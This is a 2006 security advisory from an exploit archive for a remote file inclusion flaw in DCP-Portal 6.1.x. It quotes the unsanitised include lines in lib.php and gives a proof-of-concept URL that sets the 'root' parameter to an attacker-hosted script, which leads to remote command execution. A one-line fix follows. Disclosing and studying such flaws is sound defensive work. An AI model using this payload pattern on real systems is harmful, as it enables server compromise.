DCP-Portal 6.1.x - 'root' Remote File Inclusion

Author: Federico Fazzi
type: webapps
platform: php
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date_added: 2006-06-11 
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Advisory id: FSA:013

Author:    Federico Fazzi
Date:      12/06/2006, 9:31
Sinthesis: DCP-Portal 6.1.x, Remote command execution
Type:      high
Product:   http://www.dcp-portal.org/
Patch:     unavailable
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1) Description:

Error occured in lib.php, line 4/7:

include ("$root/library/lib_nav.php");
include ("$root/library/lib_mods.php");
include ("$root/library/lib_admin.php");
include ("$root/library/lib_3rd.php");

variable $root not sanitized (declare).

2) Proof of concept:

http://example/[dp_path]/library/lib.php?root=[cmd_url]

3) Solution:

declare $root variable on this file.

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